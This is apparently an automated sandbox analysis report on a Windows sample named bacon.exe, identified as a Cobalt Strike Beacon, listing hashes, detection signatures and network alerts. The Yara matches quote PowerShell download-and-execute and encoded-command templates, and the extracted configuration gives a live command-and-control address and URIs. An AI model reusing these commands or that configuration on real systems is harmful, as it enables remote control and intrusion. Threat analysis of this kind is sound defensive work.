Edit tour

Windows Analysis Report
bacon.exe

Overview

General Information

Sample name:	bacon.exe
Analysis ID:	1543896
MD5:	d8557aa9fd2e7e2f97eabf1f28a548c3
SHA1:	021d75cd310f0ad68d564d0407860a04458f8a53
SHA256:	866b2c7dc08682cc174c58bf5cfc6ca44af7696b28b8191e7ff003d97639934c
Infos:

Detection

CobaltStrike

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected CobaltStrike

Yara detected Powershell download and execute

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Machine Learning detection for sample

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Uses a known web browser user agent for HTTP communication

Yara signature match

Classification

Process Tree

System is w7x64

bacon.exe (PID: 3636 cmdline: "C:\Users\user\Desktop\bacon.exe" MD5: D8557AA9FD2E7E2F97EABF1F28A548C3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cobalt Strike, CobaltStrike	Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.	APT 29 APT32 APT41 AQUATIC PANDA Anunak Cobalt Codoso CopyKittens DarkHydrus Earth Baxia FIN6 FIN7 Leviathan Mustang Panda Shell Crew Stone Panda TianWu UNC1878 UNC2452 Winnti Umbrella	http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems http://blog.nsfocus.net/murenshark http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa http://www.secureworks.com/research/threat-profiles/gold-drake	https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike

Malware Configuration

Threatname: CobaltStrike

{"BeaconType": ["HTTP"], "Port": 80, "SleepTime": 60000, "MaxGetSize": 1048576, "Jitter": 0, "MaxDNS": 255, "C2Server": "46.173.214.102,/cm", "UserAgent": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)", "HttpPostUri": "/submit.php", "Malleable_C2_Instructions": [], "HttpGet_Metadata": ["Cookie"], "HttpPost_Metadata": ["Content-Type: application/octet-stream", "id"], "PipeName": "", "DNS_Idle": "0.0.0.0", "DNS_Sleep": 0, "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe", "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 305419896, "bStageCleanup": "False", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "True", "bProcInject_MinAllocSize": 0, "ProcInject_PrependAppend_x86": "Empty", "ProcInject_PrependAppend_x64": "Empty", "ProcInject_Execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": ""}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security
00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x2b003:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2b07b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2b7cc:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x2baee:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2ba80:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2baee:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2b0de:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2b26f:$a7: could not run command (w/ token) because of its length of %d bytes! 0x2b124:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2b162:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x2bb38:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x2b3cf:$a11: Could not open service control manager on %s: %d 0x2b8e8:$a12: %d is an x64 process (can't inject x86 content) 0x2b918:$a13: %d is an x86 process (can't inject x64 content) 0x2bc29:$a14: Failed to impersonate logged on user %d (%u) 0x2b8a1:$a15: could not create remote thread in %d: %d 0x2b198:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2b84f:$a17: could not write to process memory: %d 0x2b400:$a18: Could not create service %s on %s: %d 0x2b470:$a19: Could not delete service %s on %s: %d 0x2b2e9:$a20: Could not open process token: %d (%u)
00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x17ad4:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x2baee:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2bb38:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x2b918:$x3: %d is an x86 process (can't inject x64 content) 0x2b2e9:$s1: Could not open process token: %d (%u) 0x2b003:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2b3ac:$s4: Could not connect to pipe (%s): %d
00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x3a221:$loader_export: ReflectiveLoader 0x2afc0:$exportname: beacon.dll
00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x2b8e8:$x2: %d is an x64 process (can't inject x86 content) 0x2bc29:$x3: Failed to impersonate logged on user %d (%u) 0x2bb38:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2baee:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2b26f:$s3: could not run command (w/ token) because of its length of %d bytes! 0x2b84f:$s4: could not write to process memory: %d 0x2b003:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2b3ac:$s6: Could not connect to pipe (%s): %d
00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x2bfd0:$str1: %s (admin) 0x2afc0:$str2: beacon.dll
00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x2bb38:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2b918:$x2: %d is an x86 process (can't inject x64 content) 0x2baee:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2bbd2:$x4: Failed to impersonate token from %d (%u) 0x2bc29:$x5: Failed to impersonate logged on user %d (%u) 0x2b003:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_ReflectiveLoader	detects Reflective DLL injection artifacts	ditekSHen
00000000.00000002.648425822.00000000002C0000.00000020.00001000.00020000.00000000.sdmp	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x2bac6:$s1: %%IMPORT%% 0x2afe7:$s2: www6.%x%x.%s 0x2afdb:$s3: cdn.%x%x.%s 0x2b263:$s4: api.%x%x.%s 0x2bfd0:$s5: %s (admin) 0x2b2d2:$s6: could not spawn %s: %d 0x2bb6a:$s7: Could not kill %d: %d 0x2b3ac:$s8: Could not connect to pipe (%s): %d 0x2aff4:$s9: %s.1%x.%x%x.%s 0x2b003:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2b07b:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2b0de:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2b124:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2b162:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x2b198:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2b1c1:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2b1e6:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x2b207:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x2b224:$s9: %s.1%08x%08x%08x.%x%x.%s 0x2b23d:$s9: %s.1%08x%08x.%x%x.%s 0x2b252:$s9: %s.1%08x.%x%x.%s
00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0x2ca03:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2ca7b:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d1cc:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x2d4ee:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2d480:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2d4ee:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x2cade:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2cc6f:$a7: could not run command (w/ token) because of its length of %d bytes! 0x2cb24:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2cb62:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x2d538:$a10: powershell -nop -exec bypass -EncodedCommand "%s" 0x2cdcf:$a11: Could not open service control manager on %s: %d 0x2d2e8:$a12: %d is an x64 process (can't inject x86 content) 0x2d318:$a13: %d is an x86 process (can't inject x64 content) 0x2d629:$a14: Failed to impersonate logged on user %d (%u) 0x2d2a1:$a15: could not create remote thread in %d: %d 0x2cb98:$a16: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2d24f:$a17: could not write to process memory: %d 0x2ce00:$a18: Could not create service %s on %s: %d 0x2ce70:$a19: Could not delete service %s on %s: %d 0x2cce9:$a20: Could not open process token: %d (%u)
00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_663fc95d	Identifies CobaltStrike via unidentified function code	unknown	0x186d4:$a: 48 89 5C 24 08 57 48 83 EC 20 48 8B 59 10 48 8B F9 48 8B 49 08 FF 17 33 D2 41 B8 00 80 00 00
00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp	Beacon_K5om	Detects Meterpreter Beacon - file K5om.dll	Florian Roth	0x2d4ee:$x1: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2d538:$x2: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d318:$x3: %d is an x86 process (can't inject x64 content) 0x2cce9:$s1: Could not open process token: %d (%u) 0x2ca03:$s3: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2cdac:$s4: Could not connect to pipe (%s): %d
00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x3bc21:$loader_export: ReflectiveLoader 0x2c9c0:$exportname: beacon.dll
00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp	Leviathan_CobaltStrike_Sample_1	Detects Cobalt Strike sample from Leviathan report	Florian Roth	0x2d2e8:$x2: %d is an x64 process (can't inject x86 content) 0x2d629:$x3: Failed to impersonate logged on user %d (%u) 0x2d538:$s1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d4ee:$s2: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2cc6f:$s3: could not run command (w/ token) because of its length of %d bytes! 0x2d24f:$s4: could not write to process memory: %d 0x2ca03:$s5: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2cdac:$s6: Could not connect to pipe (%s): %d
00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp	crime_win32_csbeacon_1	Detects Cobalt Strike loader	@VK_Intel	0x2d9d0:$str1: %s (admin) 0x2c9c0:$str2: beacon.dll
00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x2d538:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x2d318:$x2: %d is an x86 process (can't inject x64 content) 0x2d4ee:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x2d5d2:$x4: Failed to impersonate token from %d (%u) 0x2d629:$x5: Failed to impersonate logged on user %d (%u) 0x2ca03:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
00000000.00000002.648439422.0000000000330000.00000040.00001000.00020000.00000000.sdmp	MALWARE_Win_CobaltStrike	CobaltStrike payload	ditekSHen	0x2d4c6:$s1: %%IMPORT%% 0x2c9e7:$s2: www6.%x%x.%s 0x2c9db:$s3: cdn.%x%x.%s 0x2cc63:$s4: api.%x%x.%s 0x2d9d0:$s5: %s (admin) 0x2ccd2:$s6: could not spawn %s: %d 0x2d56a:$s7: Could not kill %d: %d 0x2cdac:$s8: Could not connect to pipe (%s): %d 0x2c9f4:$s9: %s.1%x.%x%x.%s 0x2ca03:$s9: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2ca7b:$s9: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2cade:$s9: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2cb24:$s9: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2cb62:$s9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x2cb98:$s9: %s.1%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2cbc1:$s9: %s.1%08x%08x%08x%08x%08x%08x.%x%x.%s 0x2cbe6:$s9: %s.1%08x%08x%08x%08x%08x.%x%x.%s 0x2cc07:$s9: %s.1%08x%08x%08x%08x.%x%x.%s 0x2cc24:$s9: %s.1%08x%08x%08x.%x%x.%s 0x2cc3d:$s9: %s.1%08x%08x.%x%x.%s 0x2cc52:$s9: %s.1%08x.%x%x.%s
Process Memory Space: bacon.exe PID: 3636	JoeSecurity_CobaltStrike_2	Yara detected CobaltStrike	Joe Security
Process Memory Space: bacon.exe PID: 3636	JoeSecurity_CobaltStrike_1	Yara detected CobaltStrike	Joe Security
Process Memory Space: bacon.exe PID: 3636	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: bacon.exe PID: 3636	JoeSecurity_CobaltStrike	Yara detected CobaltStrike	Joe Security
Process Memory Space: bacon.exe PID: 3636	JoeSecurity_CobaltStrike_3	Yara detected CobaltStrike	Joe Security
Process Memory Space: bacon.exe PID: 3636	Windows_Trojan_CobaltStrike_ee756db7	Attempts to detect Cobalt Strike based on strings found in BEACON	unknown	0xb70a:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x179ee:$a1: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0xb782:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x17a66:$a2: %s.3%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0xbece:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0x181b2:$a3: ppid %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset. 0xc1f0:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x184d4:$a4: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0xc182:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0xc1f0:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x18466:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0x184d4:$a5: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/') 0xb7e5:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x17ac9:$a6: %s.2%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0xb976:$a7: could not run command (w/ token) because of its length of %d bytes! 0x17c5a:$a7: could not run command (w/ token) because of its length of %d bytes! 0xb82b:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0x17b0f:$a8: %s.2%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x.%x%x.%s 0xb869:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0x17b4d:$a9: %s.2%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x.%x%x.%s 0xc23a:$a10: powershell -nop -exec bypass -EncodedCommand "%s"
Process Memory Space: bacon.exe PID: 3636	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x10866:$loader_export: ReflectiveLoader 0x10885:$loader_export: ReflectiveLoader 0x1cc16:$loader_export: ReflectiveLoader 0x1cc35:$loader_export: ReflectiveLoader 0xb51d:$exportname: beacon.dll 0xb6d1:$exportname: beacon.dll 0x17800:$exportname: beacon.dll 0x179b5:$exportname: beacon.dll
Process Memory Space: bacon.exe PID: 3636	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0xc23a:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0x1851e:$x1: powershell -nop -exec bypass -EncodedCommand "%s" 0xc01a:$x2: %d is an x86 process (can't inject x64 content) 0x182fe:$x2: %d is an x86 process (can't inject x64 content) 0xc1f0:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0x184d4:$x3: IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:%u/'); %s 0xc2d4:$x4: Failed to impersonate token from %d (%u) 0x185b8:$x4: Failed to impersonate token from %d (%u) 0xc32b:$x5: Failed to impersonate logged on user %d (%u) 0x1860f:$x5: Failed to impersonate logged on user %d (%u) 0xb70a:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s 0x179ee:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
Click to see the 26 entries

Sigma Signatures

System Summary

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\bacon.exe, ProcessId: 3636, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Suricata Signatures

ET MALWARE Cobalt Strike Beacon Observed

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T16:01:09.661206+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49162	46.173.214.102	80	TCP
2024-10-28T16:01:10.457346+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49163	46.173.214.102	80	TCP
2024-10-28T16:01:11.223277+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49164	46.173.214.102	80	TCP
2024-10-28T16:01:12.029853+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49165	46.173.214.102	80	TCP
2024-10-28T16:01:12.846988+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49166	46.173.214.102	80	TCP
2024-10-28T16:01:13.603745+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49167	46.173.214.102	80	TCP
2024-10-28T16:01:14.357513+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49168	46.173.214.102	80	TCP
2024-10-28T16:01:15.225953+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49169	46.173.214.102	80	TCP
2024-10-28T16:01:15.981334+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49170	46.173.214.102	80	TCP
2024-10-28T16:01:16.778798+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49171	46.173.214.102	80	TCP
2024-10-28T16:01:17.538708+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49172	46.173.214.102	80	TCP
2024-10-28T16:01:18.318563+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49173	46.173.214.102	80	TCP
2024-10-28T16:01:19.069444+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49174	46.173.214.102	80	TCP
2024-10-28T16:01:19.825781+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49175	46.173.214.102	80	TCP
2024-10-28T16:01:20.635896+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49176	46.173.214.102	80	TCP
2024-10-28T16:01:21.446226+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49177	46.173.214.102	80	TCP
2024-10-28T16:01:22.202269+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49178	46.173.214.102	80	TCP
2024-10-28T16:01:22.939237+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49179	46.173.214.102	80	TCP
2024-10-28T16:01:23.707859+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49180	46.173.214.102	80	TCP
2024-10-28T16:01:24.475029+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49181	46.173.214.102	80	TCP
2024-10-28T16:01:25.226830+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49182	46.173.214.102	80	TCP
2024-10-28T16:01:25.978463+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49183	46.173.214.102	80	TCP
2024-10-28T16:01:26.725683+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49184	46.173.214.102	80	TCP
2024-10-28T16:01:27.493015+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49185	46.173.214.102	80	TCP
2024-10-28T16:01:28.256684+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49186	46.173.214.102	80	TCP
2024-10-28T16:01:29.002773+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49187	46.173.214.102	80	TCP
2024-10-28T16:01:29.744490+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49188	46.173.214.102	80	TCP
2024-10-28T16:01:30.526900+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49189	46.173.214.102	80	TCP
2024-10-28T16:01:31.300388+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49190	46.173.214.102	80	TCP
2024-10-28T16:01:32.081165+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49191	46.173.214.102	80	TCP
2024-10-28T16:01:32.842419+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49192	46.173.214.102	80	TCP
2024-10-28T16:01:33.643840+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49193	46.173.214.102	80	TCP
2024-10-28T16:01:34.421923+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49194	46.173.214.102	80	TCP
2024-10-28T16:01:35.208545+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49195	46.173.214.102	80	TCP
2024-10-28T16:01:35.956318+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49196	46.173.214.102	80	TCP
2024-10-28T16:01:36.902125+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.22	49197	46.173.214.102	80	TCP
